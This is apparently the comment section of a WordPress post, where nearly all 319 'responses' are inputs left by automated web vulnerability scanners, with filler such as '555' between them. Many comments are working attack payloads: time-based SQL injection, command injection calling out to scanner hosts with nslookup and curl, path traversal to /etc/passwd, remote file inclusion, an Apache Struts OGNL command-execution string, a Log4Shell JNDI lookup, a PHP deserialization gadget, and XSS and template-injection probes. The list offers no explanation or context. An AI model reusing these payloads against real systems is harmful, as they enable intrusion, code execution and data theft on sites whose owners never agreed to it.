319 Responses

1. Hi, this is a comment.
   To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
   Commenter avatars come from Gravatar.

2. e

3. 555

4. 555

5. 555

6. 555

7. 555

8. 555′”()&%cCBZ(9273)

9. 555

10. 555

11. http://bxss.me/t/xss.html?%00

12. 1DnbahDLO

13. e

14. e’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

15. e

16. e

17. 1%2527%2522

18. 555

19. e

20. 555

21. -1″ OR 3+509-509-1=0+0+0+1 —

22. 555

23. -1); waitfor delay ‘0:0:15’ —

24. -5 OR 57=(SELECT 57 FROM PG_SLEEP(15))–

25. oOwvegqH’)) OR 43=(SELECT 43 FROM PG_SLEEP(15))–

26. 555

27. 555

28. 555

29. e

30. e'”()&%om56(9125)

31. e9016819

32. dfb__${98991*97996}__::.x

33. e%’ AND 2*3*8=6*8 AND ‘6AzW’!=’6AzW%

34. e

35. Q0KXpW4L’) OR 80=(SELECT 80 FROM PG_SLEEP(15))–

36. e

37. e

38. e

39. e

40. e

41. e

42. e

43. e'”()&%kVnm(9469)

44. 555

45. 555

46. 555

47. 555

48. 555

49. 555

50. 555

51. 555

52. 555

53. 1′>”>

54. 1

55. if(now()=sysdate(),sleep(15),0)

56. 0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

57. 1

58. 555

59. -1); waitfor delay ‘0:0:15’ —

60. 1 waitfor delay ‘0:0:15’ —

61. AgSMkoBp’; waitfor delay ‘0:0:15’ —

62. http://bxss.me/t/xss.html?%00

63. -5 OR 688=(SELECT 688 FROM PG_SLEEP(15))–

64. 555

65. U1ahcOei

66. G6kvU1e9′ OR 341=(SELECT 341 FROM PG_SLEEP(15))–

67. 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

68. 1′”

69. @@nedBg

70. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

71. 1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

72. @@sWrHG

73. 0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

74. 555

75. 1

76. 1

77. 1

78. 1

79. 1

80. 1

81. 1

82. 1

83. pEHbBXsv’)) OR 625=(SELECT 625 FROM PG_SLEEP(15))–

84. 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

85. @@KB4YA

86. 1

87. 1

88. 1

89. 1

90. 555

91. 1

92. -1 OR 2+666-666-1=0+0+0+1 —

93. -1 OR 3+533-533-1=0+0+0+1

94. -1′ OR 3+127-127-1=0+0+0+1 —

95. 1

96. |echo ictgir$()\ degcgz\nz^xyu||a #’ |echo ictgir$()\ degcgz\nz^xyu||a #|” |echo ictgir$()\ degcgz\nz^xyu||a #

97. &(nslookup -q=cname hitehmagqqlud04139.bxss.me||curl hitehmagqqlud04139.bxss.me)&’\”`0&(nslookup -q=cname hitehmagqqlud04139.bxss.me||curl hitehmagqqlud04139.bxss.me)&`’

98. file:///etc/passwd

99. 1

100. -1; waitfor delay ‘0:0:15’ —

101. 1

102. 1 waitfor delay ‘0:0:15’ —

103. http://bxss.me/t/fit.txt%3F.jpg

104. -5 OR 20=(SELECT 20 FROM PG_SLEEP(15))–

105. 1″&&sleep(27*1000)*kuyrgd&&”

106. kk0cm4Ye’ OR 122=(SELECT 122 FROM PG_SLEEP(15))–

107. 1

108. rxfSm2xy’)) OR 769=(SELECT 769 FROM PG_SLEEP(15))–

109. ;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

110. 1%2527%2522

111. 1

112. 1

113. ‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hitdhqvlllwub12164.”+”bxss.me”)+’

114. 1

115. xfs.bxss.me

116. 1

117. 1

118. 1

119. 1

120. 1

121. 1

122. 1

123. 555

124. 555

125. 555

126. 555

127. $(nslookup -q=cname hitcttveyzybw8592b.bxss.me||curl hitcttveyzybw8592b.bxss.me)

128. |(nslookup -q=cname hitqwkvdoofun40359.bxss.me||curl hitqwkvdoofun40359.bxss.me)

129. 555

130. http://bxss.me/t/fit.txt?.jpg

131. 555

132. S76cK0Qm’; waitfor delay ‘0:0:15’ —

133. httgskoh’) OR 249=(SELECT 249 FROM PG_SLEEP(15))–

134. 555

135. ${@print(md5(31337))}\

136. @@A0hBp

137. 555

138. wp-comments-post.php

139. http://hitaqdnygqjoo.bxss.me/

140. 555

141. 555′”()&%HmcF(9320)

142. 555

143. 555

144. 555

145. 555

146. 555

147. 555

148. 555

149. 555

150. 555

151. 555

152. 555

153. (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

154. -5) OR 27=(SELECT 27 FROM PG_SLEEP(15))–

155. 1

156. 1

157. 1

158. 555

159. 1

160. 1

161. 555

162. 1

163. 1

164. 1

165. 2NpzyFL2SmGg6IDQfvo69ziSUWE

166. 2OTP0toKD9QWArzGgBcYNYtXiGs

167. 2OTgitylKATlJJmpHKiMtYNrZ0Y

168. 2Q4pCjRvMtZpV9DfOdJhDX87nd2

169. 2QCgqA6QBuqta2CMMqNUKmAXnSQ

170. 2QCgqCuqfZ9sUegk1kPBIFS60Ts

171. nessus_was_textckt1ik8j

172. nessus_was_text90y4ijlw

173. nessus_was_text2ejn1ti9

174. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’echo WAS-$((633*199))’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘powershell.exe’,’-nop’,’-c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

175. nessus_was_text399y4skv

176. nessus_was_texty0i1a3bn

177. nessus_was_text5dredwwo

178. nessus_was_textwrhn0i6h

179. nessus_was_text75hb0sc1

180. nessus_was_text49p2wbvm

181. nessus_was_texti4xu3qoo

182. nessus_was_text3f3tltzsecho bjNsb2ttZGt5Mnhsa2JzY3Myb2ZrbDR0cGxrajRxcHRicWw1ZmUyeWt3aXZqaWE3ZWtpYS53YXMubmVzc3VzLm9yZw== | base64 -d | xargs getent ahosts

183. nessus_was_texti4xu3qoo

184. nessus_was_textlax9cxfz

185. nessus_was_textlax9cxfz

186. ../../../../../../../../../../windows/win.ini

187. nessus_was_textkim1ku0c

188. nessus_was_textz1dtkmal

189. rfi.nessus.org/rfi.txt

190. nessus_was_textr4y1ec2u

191. nessus_was_textblbd3z75

192. nessus_was_text4xij3mko

193. nessus_was_textwf6i35lx

194. nessus_was_textblbd3z75

195. nessus_was_textr4y1ec2u

196. file:///etc/passwd

197. nessus_was_textqppn836h

198. {{“23511888” | printf “%s%s” “tenablewas_8IduKzjEUoRV”}}

199. @(“tenablewas_8IduKzjEUoRV”+5267*4464)

200. nessus_was_text4qxhugwa

201. nessus_was_textoc53fod8

202. nessus_was_textqr9mm69m

203. nessus_was_textw3tol1ft

204. “‘`–

205. nessus_was_textoc53fod8

206. nessus_was_textuzkacbcv

207. )

208. nessus_was_text4qxhugwa

209. https://sourpatchkids.gg.4a3ccebc-3d7c-436b-a8f5-f2c154b14671.com

210. nessus_was_textlh3ta93b

211. nessus_was_textfv3nmwr1

212. nessus_was_textt63kfock

213. nessus_was_textkriolbei

214. nessus_was_textgpooyw1h

215. nessus_was_textpx9whzoq

216. nessus_was_text52ixqrj6

217. nessus_was_textwuruev5x

218. nessus_was_text32o0uywp

219. nessus_was_text7tbrxw75

220. nessus_was_textmqa44vae

221. //sourpatchkids.gg.4a3ccebc-3d7c-436b-a8f5-f2c154b14671.com

222. https://sourpatchkids.gg@4a3ccebc-3d7c-436b-a8f5-f2c154b14671.com

223. nessus_was_text7kjb5yi9

224. nessus_was_text4dtny9lk

225. nessus_was_textwkuhpsf3

226. window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()

227. nessus_was_textkog0cnwq

228. nessus_was_textkog0cnwq

229. wasxsscontext1d4i8k

230. nessus_was_textvy8li8l0

231. https://xssrcVTsOYGyz.was.tenable.com

232. nessus_was_textbu2m2ayk

233. nessus_was_texte60qsf5h

234. nessus_was_text6uxs4bo8

235. nessus_was_text9419p53t

236. nessus_was_text7zh8kdlx

237. nessus_was_textu9l53tqc

238. nessus_was_textzamucfas

239. nessus_was_text31p9wcdn

240. ${jndi:ldap://was-log4shell-${date:yyyy}xkHPbBlnWrkW5ClbFXGh.w.nessus.org}

241. nessus_was_textv3hiju01

242. nessus_was_textr4l0a7re

243. H4sIAN9B42QAA61WW2wUVRj+z253t9220Bu9AJWb1bbIDGWrBbaxbEFwcWtruhbiPjSns4ft4OzMMHOmbHnQYBRNeMFYQ3jSB9QHqkkTE4kPJj6ZeIsPJiYYE+KDT94SSNQQL/+Zmb0AhW6RTXbP2f/8l++c//v/cxZ/gZBtQcdxOkclh6uaNGGphqXy+Wcc5rCFKzs/vDHy0lIQAkmosdVTLAVRxcib1KLcsDi0p4SlLCzl/SV5vGACQAAdjxpWTqImVWaZhHZ5Q7dx1DSmcBXng1LZmS2lLarbxwwrr+q5sjP5r5d/375U+2UAAimoyzLFQDHLnoAXgKSgnheNGMLZkcJ4shdP9uPJlfHkdFkdUSLCfatB6KOa0VgZ343rF3ou60tDAQDXYXwlh8ccXfG8zVJVZ9kKSDs/O/9z76nzNQEgGWhUK1ZsDlJmlbtzLN/mrnAqbfac3nuj9srIO+5e/BQOV78f/Mupzis8Hp0715wILC0ERK7q1KIGhxaPOBrVc/L4zHF0hoDnLBjCEJLt6FJF1AJFNUnVObN0qkkFW+OKhHkvIPbE0YOqhgtQ/rhZGKkaddKDpCKpKoAPnr3+4sUz38SRdRkIqQkrhxlozdyOOgP16gQyIZ+eNxnqtFTq7NeobXuZ8G0lIZd823NfH32rye7TisdNEPje1R0Ay5saIreTONYdGf9UX7wUC0I4CY3Tqp5lOn/ayc8wKwlrpt1K0RhPoryQgej0zDzHasoK1MFMZjQD4WlFABal1ZaC0LRO8+zmVE1yC4sznoLmacPhpsMnLMPEylOFk8pmUJZ7zQD+xQ8egwj01N9d63K574dKLEN5IDO6eK3jz3Bt+qovDg9+/s/Hn+ByDGJRCMLWCAxEoCcCDxFospmlUm0K6wKz+WzyAAFymEBjkV9TVHNY6P3Nb1x7/YffHicQHlZ1leMk2Ns3RaBmP+6awNoUlp93PmlR0wS3aijolqJz/O8La/isahNoneTOTNo/wwk6rxk0S6AhqevMcvPMUOnR1LxteOBk09OxvQM5RLM5xu0Hl/ESJ1BXamMErN4UckBGDsgV9e5yQC5yQHY5IB8YH4tnltXOa2VdDw82b0ue9KdUVMGTVM9qWPXiSGqzhuLkkS8Em+hqwqPprOcHtz/6/8EQiD5RUJjplmkEHibw7urOY0UEWZ6XD6THEgXVTqLIvbDuzxmqvjvBg3tBQSDinyWBxP04yUnDsRSGHRJp3OAzUBJF2gBRqI9AL4HYPRCWwL5qM2I52FrzTE7M2EhxhRc9EWhzm4VqlMG71banWs9FTyW2ENi0wl4wRcOK5reCpnJXS89ajGYj0E/wNaQxZmLR9x7um2qAR2BHFLaDhL1lklPl+TFq+l1hPWe6mMlHEpODu3cNxGJDjw3gOBjbQ2Bj6s6rcdgCAexnGAO/6yEEYRwjog9CrSvD1OBvA0pkHAmOof6PgCy5Ko34G3aFEqzB3wZPAdbCLnGDQCu0oZYwHsFvUMhuNYy5hpu9Rd9QzNZBu7tOoAM60aIL5x5G4XaD7zbpSpdxO+S67fcWl3W7EbrRQswegE0YvhygFvpKm96KK0Kr8T0IklRz62uvXAZ5yTXb6W6JiPXNbvQt0IxjFJcCsA2aoM4Rl9cm1P22dHtsELfHugh0RKAzAl3V3h4nflJ/Hc4f6rw/t0fwoGHcdlv0rHhboFU1dbyewLYqXN1Eeu8Ncsc6XKmW7spiUj2L47ewuMVdb3V/2yqy2y6ya+JLBSvKPEmggI+Glso3lffWutT+3QdffPXchdKTCt+U3UKpIGHzlErXbPnldNPL8aQgbxCfYc1lx0nsOzlmtfz49sU/Tr+6G5+ySQjNCY4ULO9APT2PC2cW3+yuX7h6tgRAELKv8B+pFOeoaQ0AAA==

244. nessus_was_textetnde16b

245. nessus_was_textvx0mnsiw

246. nessus_was_textvx0mnsiw

247. nessus_was_textd2xood42

248. nessus_was_textnvn6ik4u

249. nessus_was_textd3d6ogt0

250. a:2:{i:7%3BO:32:”Monolog\Handler\SyslogUdpHandler”:1:{s:6:”socket”%3BO:29:”Monolog\Handler\BufferHandler”:7:{s:10:”%00*%00handler”%3Br:3%3Bs:13:”%00*%00bufferSize”%3Bi:-1%3Bs:9:”%00*%00buffer”%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:67:”5ac3ypyd736mf5yysoftotxoyo3v7s5n7ijjjnyaqz7t6p3b3v3q.was.nessus.org”%3Bs:5:”level”%3BN%3B}}s:8:”%00*%00level”%3BN%3Bs:14:”%00*%00initialized”%3Bb:1%3Bs:14:”%00*%00bufferLimit”%3Bi:-1%3Bs:13:”%00*%00processors”%3Ba:2:{i:0%3Bs:7:”current”%3Bi:1%3Bs:13:”gethostbyname”%3B}}}i:7%3Bi:7%3B}

251. nessus_was_textyb7x1wf9

252. nessus_was_textll4rc87c

253. nessus_was_textmnqu1si1

254. nessus_was_textwlnzzkz3

255. -1839

256. nessus_was_textj8fkquwu

257. nessus_was_texth3dgfivm

258. nessus_was_text5zytdj97

259. nessus_was_text05pblr3f

260. nessus_was_text0lymy5jj

261. nessus_was_text1o8hdmx7

262. nessus_was_text3sr0q758

263. nessus_was_text97bw8o6e

264. nessus_was_textva8irgbc

265. nessus_was_textv7abrg33

266. nessus_was_textvdl14bh4

267. nessus_was_text02wp0835

268. nessus_was_text9zqcodvf

269. nessus_was_textosfa95h6

270. nessus_was_textu7e02zx6

271. -1756″ or “1756”=”1755″ — +

272. -1756 or 1756=1756 — +

273. nessus_was_texth94g6mbg

274. sleep(4);

275. nessus_was_textnoe2sg9o AND (SELECT 6416 FROM (SELECT(SLEEP(2)))NTOXh)

276. nessus_was_textf2qnz4gh

277. nessus_was_textkim33r1k

278. nessus_was_textoewrf2kq

279. 4a3ccebc-3d7c-436b-a8f5-f2c154b14671.com

280. nessus_was_textqv33xn1q

281. http://4a3ccebc-3d7c-436b-a8f5-f2c154b14671.com/

282. nessus_was_textcu8wte2a

283. window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()

284. nessus_was_texttufrx8xj

285. nessus_was_text8gzgwg46

286. nessus_was_textuw6edn4j

287. //xssdom91462.was.tenable.com

288. “>

289. nessus_was_textvhb2j7f4window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()

290. nessus_was_texthngmao53

291. nessus_was_textvw0sqoju

292. nessus_was_text6embkbvh

293. nessus_was_text2uxrwcjk

294. nessus_was_textfn8zu851

295. nessus_was_textnyy06h3b

296. nessus_was_textqol80x5g

297. nessus_was_textf51sylrx

298. nessus_was_textili5v20k

299. nessus_was_text6mflkx9h

300. nessus_was_text7jxble8s

301. nessus_was_text4ktjc8k9

302. nessus_was_texteqzf9eer

303. nessus_was_textdxfukspq1){window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()//

304. nessus_was_textygiw38em

305. nessus_was_textwa9yri71′;window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()//

306. nessus_was_textu2pgt975

307. nessus_was_textce24z5ej”;window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()//

308. nessus_was_textmgbpu3r4

309. nessus_was_textaz9h0b53\’;window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()//

310. nessus_was_textrh7oa0xy

311. nessus_was_textxny332q7*/;window.top._tenable_wasscan_js_namespace_taint_tracer.log_execution_flow_sink()/*

312. nessus_was_text0uxhb65o

313. nessus_was_textjfy9hvxn

314. nessus_was_text48misdto

315. nessus_was_textqfh2mzzt

316. nessus_was_text9xgj0cr4

317. nessus_was_textt35agpc5

318. nessus_was_textg5tmnltt

319. nessus_was_textzevyxgcy